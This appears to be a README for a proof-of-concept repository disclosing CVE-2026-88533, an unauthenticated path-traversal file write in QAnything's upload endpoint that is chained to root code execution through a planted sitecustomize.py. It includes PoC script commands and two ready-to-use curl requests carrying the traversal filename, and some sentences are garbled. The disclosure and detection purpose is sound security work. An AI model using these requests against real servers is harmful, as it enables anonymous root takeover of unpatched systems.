
PoC and lab reproduction for CVE-2026-88533, an unauthenticated arbitrary file write leading to root RCE in QAnything via path traversal in the upload endpoint.
CVE ID: CVE-2026-88533 (assigned by MITRE, record publication pending)
Product: QAnything by netease-youdao — open-source RAG / knowledge-base QA platform
Affected: v1.4.x through v2.0.0 (default branch qanything-v2, through final commit 65de104)
Fixed version: none — project unmaintained since 2025-03-12; the only sanitization fix (PR #483) lives on the legacy master branch and was never merged into qanything-v2
Weakness: CWE-22 Path Traversal
Impact: Unauthenticated arbitrary file creation → Remote Code Execution as uid=0(root)
Discoverer: Yankui Li
The file upload endpoint POST /api/local_doc_qa/upload_files takes the attacker-controlled
multipart and uses it as the destination path without sanitizing path separators.
expands back to , full-width character filtering and length
truncation leave and absolute paths intact, and . The resulting writes
attacker-controlled content anywhere the process can reach — inside a container by default.
filenameurllib.parse.unquote()%2f/../os.path.join(base, name)name is absoluteopen(file_location, "wb")rootBecause the product requires no authentication anywhere (user_id/user_info are plain
request parameters), any network-reachable instance accepts this anonymously.
handler.py :: upload_files
file.name ──► urllib.parse.unquote() # %2f → "/"
──► full-width char filter # cosmetic only
──► truncate_filename() # length cap, no "/" or ".." filtering
core/local_file.py :: LocalFile.__init__
file_location = os.path.join(file_dir, file_name) # absolute name → base discarded
open(file_location, "wb") # arbitrary write
Two properties make this reliably exploitable:
../ counting needed.%2e%2e%2f survives because unquote runs before any filter.A hardening contrast inside the same codebase: the upload_faqs endpoint replaces / with _ in
filenames. upload_files never got that treatment, making it the single write vector.
Note: LocalFile.__init__ has an if not os.path.exists(file_location) guard, so only new files
can be created — existing files cannot be overwritten. Exploitation therefore targets
new files at executable locations.
The official Docker image runs the Python backend as root. CPython automatically imports
sitecustomize.py from site-packages at interpreter startup — a fresh file dropped at:
usr/local/lib/python3.10/site-packages/sitecustomize.py
(7×../ relative, or absolute path) is imported the next time the backend starts, executing
attacker code as uid=0(root).
Why
site-packagesand not the app directory? CPython runssite.pybefore insertingsys.path[0], so asitecustomize.pynext to the entry script is not auto-imported.site-packagesis the only reliable drop zone.
Other vectors were tested and ruled out (documented for completeness):
/etc/cron.d/ — directory exists and accepts writes, but the image ships no cron daemon, so nothing ever executes the payload.Official image + pinned vulnerable source (commit 65de104):
git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check
The PoC script ships in this repository (poc_qanything_cve_2026_88533.py) — every
evidence item below was produced by running it against the lab stack above. Clone and
reproduce the exact output yourself:
# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local
# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local
# Optional out-of-band callback for network-level proof:
# ... --mode full --oob http://your-oob-endpoint/cb
--mode full restarts the target container once (documented behavior; the CPython import
fires on startup). Everything ships safe by default: no reverse shell, no destructive
payload — the demo payload writes a marker file containing the output of id.
The entire attack is two HTTP POSTs; this is what detection content should match on
(the multipart filename carrying an absolute path or ..//%2f sequences is the key signal):
# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
-H "Content-Type: application/json" \
-d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'
# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
-F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
-F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'
All evidence below is the actual terminal output of poc_qanything_cve_2026_88533.py
(the script in this repository) run against the lab stack built from
docker-compose-lab.yaml. No step was faked or simulated — the script exits non-zero
unless every check passes, so you can verify the chain end-to-end yourself.
Lab stack — official image + minimal dependencies, all containers healthy:

--mode check — unauthenticated write primitive confirmed: the marker was written outside
the upload dir via an absolute-path multipart filename and read back from inside the container:

--mode full — after the container restart, CPython auto-imports the planted
sitecustomize.py; the payload's marker proves execution as uid=0(root):

The complete terminal transcript of the --mode full run shown above is also included,
verbatim: evidence/full-chain-run-2026-09-18.log —
6/6 checks [OK], verdict RCE CONFIRMED, payload marker proving uid=0(root) with a
timestamp (the nonce/kb_id values in the log are randomly generated per run, so your
own run will differ — that is expected).
A screenshot of the CVE record page will be added once the record is published.
| Date | Event |
|---|---|
| 2026-08-25 | Vulnerability discovered; write primitive verified against a live instance (harmless marker + read-back) |
| 2026-08-29 | Full RCE chain reproduced in an isolated local lab; report written; submitted to MITRE (CNA-LR) via cveform |
| 2026-09-18 | CVE-2026-88533 assigned by MITRE |
| TBD | CVE record published; this repository and a detailed write-up released |
This material is published for defensive research and educational purposes. Use only against systems you own or have explicit written authorization to test. See DISCLAIMER.md.